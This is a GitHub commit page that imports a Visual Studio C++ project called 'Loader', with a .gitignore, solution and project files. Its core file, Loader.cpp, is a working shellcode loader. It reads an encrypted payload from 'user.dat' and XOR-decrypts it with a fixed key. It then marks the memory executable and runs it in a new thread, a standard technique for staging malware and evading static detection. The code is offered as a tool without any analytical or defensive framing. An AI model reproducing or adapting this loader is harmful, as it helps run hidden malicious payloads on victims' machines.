Skip to content

Commit 977b294

Browse files
author
GitHub
committed
import
0 parents  commit 977b294

File tree

11 files changed

+991
-0
lines changed

11 files changed

+991
-0
lines changed

.gitignore

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
2+
# Visual Studio
3+
.vs/
4+
.vscode/
5+
6+
# Build output
7+
bin/
8+
obj/
9+
10+
# Temporary files
11+
*.tmp
12+
*.log
13+
*.user

Loader.sln

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 17
4+
VisualStudioVersion = 17.6.33815.320
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loader", "Loader\Loader.vcxproj", "{A4FDA835-8C3B-4B94-8401-6076BE29F74C}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|x64 = Debug|x64
11+
Debug|x86 = Debug|x86
12+
Release|x64 = Release|x64
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Debug|x64.ActiveCfg = Debug|x64
17+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Debug|x64.Build.0 = Debug|x64
18+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Debug|x86.ActiveCfg = Debug|Win32
19+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Debug|x86.Build.0 = Debug|Win32
20+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Release|x64.ActiveCfg = Release|x64
21+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Release|x64.Build.0 = Release|x64
22+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Release|x86.ActiveCfg = Release|Win32
23+
{A4FDA835-8C3B-4B94-8401-6076BE29F74C}.Release|x86.Build.0 = Release|Win32
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {C2136316-A907-4D5A-AA87-1F0C9C176841}
30+
EndGlobalSection
31+
EndGlobal

Loader/Loader.cpp

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
#include <Windows.h>
2+
#include <iostream>
3+
4+
/*
5+
Performs a simple XOR encryption/decryption on a buffer.
6+
7+
buffer - Pointer to the data buffer to modify.
8+
bufferSize - Size of the buffer.
9+
key - XOR key.
10+
keySize - Size of the XOR key.
11+
*/
12+
void XorBuffer(char* buffer, size_t bufferSize, const char* key, size_t keySize) {
13+
size_t keyIndex = 0;
14+
15+
for (size_t i = 0; i < bufferSize; i++) {
16+
buffer[i] ^= key[keyIndex];
17+
keyIndex++;
18+
19+
// If we reach the end of the key, wrap around
20+
if (keyIndex >= keySize - 1) {
21+
keyIndex = 0;
22+
}
23+
}
24+
}
25+
26+
int main() {
27+
28+
HANDLE fileHandle = nullptr;
29+
LARGE_INTEGER fileSize = { 0 };
30+
DWORD bytesRead = 0;
31+
DWORD oldProtection = 0;
32+
void* allocatedMemory = nullptr;
33+
BOOL protectResult = 0;
34+
HANDLE threadHandle = nullptr;
35+
36+
// XOR key used to decrypt the shellcode
37+
const char xorKey[] = "key";
38+
39+
// Open the encrypted payload file
40+
fileHandle = CreateFileA(
41+
"user.dat",
42+
GENERIC_READ,
43+
FILE_SHARE_READ,
44+
nullptr,
45+
OPEN_EXISTING,
46+
FILE_ATTRIBUTE_NORMAL,
47+
nullptr
48+
);
49+
50+
if (fileHandle == INVALID_HANDLE_VALUE) {
51+
std::cerr << "[-] Failed to open user.dat" << std::endl;
52+
return -1;
53+
}
54+
55+
// Retrieve the file size
56+
if (!GetFileSizeEx(fileHandle, &fileSize)) {
57+
std::cerr << "[-] Could not get file size." << std::endl;
58+
CloseHandle(fileHandle);
59+
return -1;
60+
}
61+
62+
// Allocate RW memory for the encrypted payload
63+
allocatedMemory = VirtualAlloc(
64+
nullptr,
65+
fileSize.LowPart,
66+
MEM_COMMIT | MEM_RESERVE,
67+
PAGE_READWRITE
68+
);
69+
70+
if (!allocatedMemory) {
71+
std::cerr << "[-] Memory allocation failed." << std::endl;
72+
CloseHandle(fileHandle);
73+
return -1;
74+
}
75+
76+
// Read file contents into memory
77+
if (!ReadFile(fileHandle, allocatedMemory, fileSize.LowPart, &bytesRead, nullptr)) {
78+
std::cerr << "[-] Failed to read file into memory." << std::endl;
79+
CloseHandle(fileHandle);
80+
return -1;
81+
}
82+
83+
CloseHandle(fileHandle);
84+
85+
// Decrypt the buffer using XOR
86+
XorBuffer(
87+
reinterpret_cast<char*>(allocatedMemory),
88+
fileSize.LowPart,
89+
xorKey,
90+
sizeof(xorKey)
91+
);
92+
93+
// Change memory protection to executable
94+
protectResult = VirtualProtect(
95+
allocatedMemory,
96+
fileSize.LowPart,
97+
PAGE_EXECUTE_READ,
98+
&oldProtection
99+
);
100+
101+
if (!protectResult) {
102+
std::cerr << "[-] Failed to change memory protection." << std::endl;
103+
return -1;
104+
}
105+
106+
// Execute the decrypted payload in a new thread
107+
threadHandle = CreateThread(
108+
nullptr,
109+
0,
110+
reinterpret_cast<LPTHREAD_START_ROUTINE>(allocatedMemory),
111+
nullptr,
112+
0,
113+
nullptr
114+
);
115+
116+
if (!threadHandle) {
117+
std::cerr << "[-] Failed to create execution thread." << std::endl;
118+
return -1;
119+
}
120+
121+
// Wait for the thread (payload) to finish
122+
WaitForSingleObject(threadHandle, INFINITE);
123+
CloseHandle(threadHandle);
124+
125+
return 0;
126+
}

Loader/Loader.vcxproj

Lines changed: 138 additions & 0 deletions
Large diffs are not rendered by default.

Loader/Loader.vcxproj.filters

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup>
4+
<Filter Include="Source Files">
5+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7+
</Filter>
8+
<Filter Include="Header Files">
9+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11+
</Filter>
12+
<Filter Include="Resource Files">
13+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15+
</Filter>
16+
</ItemGroup>
17+
<ItemGroup>
18+
<ClCompile Include="Loader.cpp">
19+
<Filter>Source Files</Filter>
20+
</ClCompile>
21+
</ItemGroup>
22+
</Project>

0 commit comments

Comments
 (0)